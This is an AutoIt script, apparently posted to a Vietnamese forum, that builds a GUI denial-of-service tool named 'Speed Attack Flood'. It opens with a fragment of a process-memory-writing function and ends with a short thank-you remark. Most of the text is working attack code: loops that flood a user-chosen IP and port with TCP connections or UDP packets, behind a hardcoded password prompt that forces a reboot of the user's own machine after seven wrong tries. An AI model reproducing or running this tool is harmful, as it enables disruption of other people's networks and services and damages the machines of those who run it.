DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0) If @error Then Return SetError(@error, @extended, False) $iwritten = $aresult[5] Return $aresult[0] EndFunc #NoTrayIcon GUICreate("Speed Attack DDos 1.0 D-K") GUISetState() $input = GUICtrlCreateInput(" ", 50, 50, "", "", 32) $kiemtra = GUICtrlCreateButton("Kiểm tra PassWord", 50, 200) GUICtrlSetBkColor(-1, 16711680) $number = 0 MsgBox(0, "Thông báo", "Hãy nhập mật khẩu của Tool Vao Đây") While 1 $event = GUIGetMsg() If $event = $kiemtra Then $matkhau = GUICtrlRead($input) If $matkhau = "dnduykhang-mzg@1234!@#$" Then MsgBox(0, "Thành công", "Bạn đã nhập chính xác mật khẩu Mời Bạn Qua Tool DDos") ExitLoop Else $number = $number + 1 MsgBox(0, "Không thành công", "Nhập mật khẩu sai lần " & $number) If $number = 7 Then MsgBox(0, "Warning", "Bạn đã nhập sai mật khẩu quá nhiều khởi động lại máy tính") Shutdown(6) EndIf EndIf EndIf WEnd GUICreate("Speed Attack Flood 1.0", 380, 460, -1, -1, $ws_sizebox) GUICtrlSetBkColor(-1, 16711680) GUISetFont(8, 8, 0, "DuyKhang") GUICtrlSetBkColor(-1, 49151) GUICtrlCreateLabel("Nhap IP Can tan Cong:", 5, 5) $ip = GUICtrlCreateInput(@IPAddress1, 5, 25, 175, 20) GUISetFont(8, 8, 0, "DuyKhang") GUICtrlCreateLabel("Chon the loai tan cong:", 200, 5) $protocol = GUICtrlCreateCombo("TCP", 200, 25, 175, 20, $cbs_dropdownlist) GUICtrlSetData($protocol, "UDP|", "UDP") GUICtrlSetBkColor(-1, 16711680) GUICtrlCreateLabel("Nhap Port:", 200, 55) $port = GUICtrlCreateInput("80", 200, 75, 175, 20) GUICtrlCreateLabel("Data to Send:", 200, 105) $data = GUICtrlCreateInput("D-K Maze-GameVN", 200, 125, 175, 20) GUICtrlCreateLabel("Gui Du Lieu Phan Hoi Den Muc Tieu:", 5, 55) $con = GUICtrlCreateInput("999", 5, 75, 175, 20) GUICtrlCreateLabel("Thoi gian tan cong :", 5, 105) $timeout = GUICtrlCreateInput("999", 5, 125, 175, 20) $start = GUICtrlCreateButton("Start DDoS!", 5, 185, 175, 20) GUICtrlSetBkColor(-1, 49151) $stop = GUICtrlCreateButton("Stop DDoS!", 200, 185, 175, 20, $ws_disabled) GUICtrlSetBkColor(-1, 49151) GUICtrlCreateLabel("Nhan Du Lieu Flood:", 5, 155) GUICtrlSetFont(-1, 8, 8, 2, "DuyKhang") $connectionslabel = GUICtrlCreateLabel("0", 155, 155, 60) GUICtrlSetFont(-1, 8, 8, 2, "DuyKhang") $ransock = GUICtrlCreateCheckbox("Random Sent Data ", 200, 155) GUICtrlSetState($ransock, $gui_checked) $log = GUICtrlCreateEdit("Speed Attack Flood Version 1.0 Code By DuyKhang-MZG ( Moi Chi tiet thac mac xin lien he : [email protected]!!!", 5, 215, 370, 240, BitOR($ws_vscroll, $es_autovscroll, $es_readonly)) $num = GUICtrlRead($con) GUICtrlSetBkColor(-1, 16745466) Func _addlog($string) $currentlog = GUICtrlRead($log) $newlog = $currentlog & @CRLF & $string GUICtrlSetData($log, $newlog) EndFunc GUISetState() While 1 $msg = GUIGetMsg() If $msg = $gui_event_close Then Exit If $msg = $stop Then $i = $num GUICtrlSetData($connectionslabel, "0") GUICtrlSetState($start, $gui_enable) GUICtrlSetState($stop, $gui_disable) EndIf If $msg = $start Then GUICtrlSetData($log, "Speed Attack Flood Version 1.0 Code By DuyKhang-MZG !!!", "") GUICtrlSetState($start, $gui_disable) GUICtrlSetState($stop, $gui_enable) $sip = GUICtrlRead($ip) $iport = GUICtrlRead($port) $ilength = GUICtrlRead($timeout) $num = GUICtrlRead($con) Local $sock Local $soutbuffer = "D-K MazeGameVN" Global $i = 0 _addlog(@CRLF & "Target: " & $sip & @CRLF & "Port: " & $iport & @CRLF & "Protocol: " & GUICtrlRead($protocol) & @CRLF & "Number: " & $num & @CRLF & "Timeout: " & $ilength & @CRLF) If GUICtrlRead($protocol) = "TCP" Then attacktcp() If GUICtrlRead($protocol) = "UDP" Then attackudp() EndIf WEnd Func attacktcp() Opt("TCPTimeout", $ilength) TCPStartup() While 1 $i = $i + 1 GUICtrlSetData($connectionslabel, $i, "") $sock = TCPConnect(TCPNameToIP($sip), $iport) $send = TCPSend($sock, $soutbuffer) If $i = $num Then ExitLoop _addlog("Sending TCP Packet (" & $send & " bytes) - Socket: " & $sock & " - Port: " & $iport) If GUICtrlRead($ransock) = 4 Then TCPCloseSocket($sock) WEnd If GUICtrlRead($ransock) = 1 Then TCPCloseSocket($sock) _addlog("Done!") $num = GUICtrlRead($con) TCPShutdown() GUICtrlSetState($start, $gui_enable) GUICtrlSetState($stop, $gui_disable) GUICtrlSetData($connectionslabel, "0") EndFunc Func attackudp() UDPStartup() Opt("TCPTimeout", $ilength) TCPStartup() While 1 $i = $i + 1 GUICtrlSetData($connectionslabel, $i, "") $sock = UDPOpen($sip, $iport, 1) Sleep($ilength) $send = UDPSend($sock, $soutbuffer) _addlog("Sending UDP Packet (" & $send & " bytes) - Port: " & $iport) If GUICtrlRead($ransock) = 4 Then UDPCloseSocket($sock) WEnd If GUICtrlRead($ransock) = 1 Then UDPCloseSocket($sock) _addlog("Done!") UDPCloseSocket($sock) $num = GUICtrlRead($con) UDPShutdown() TCPShutdown() GUICtrlSetState($start, $gui_enable) GUICtrlSetState($stop, $gui_disable) GUICtrlSetData($connectionslabel, "0") EndFunc
dài lắm dài lắm và thanks so much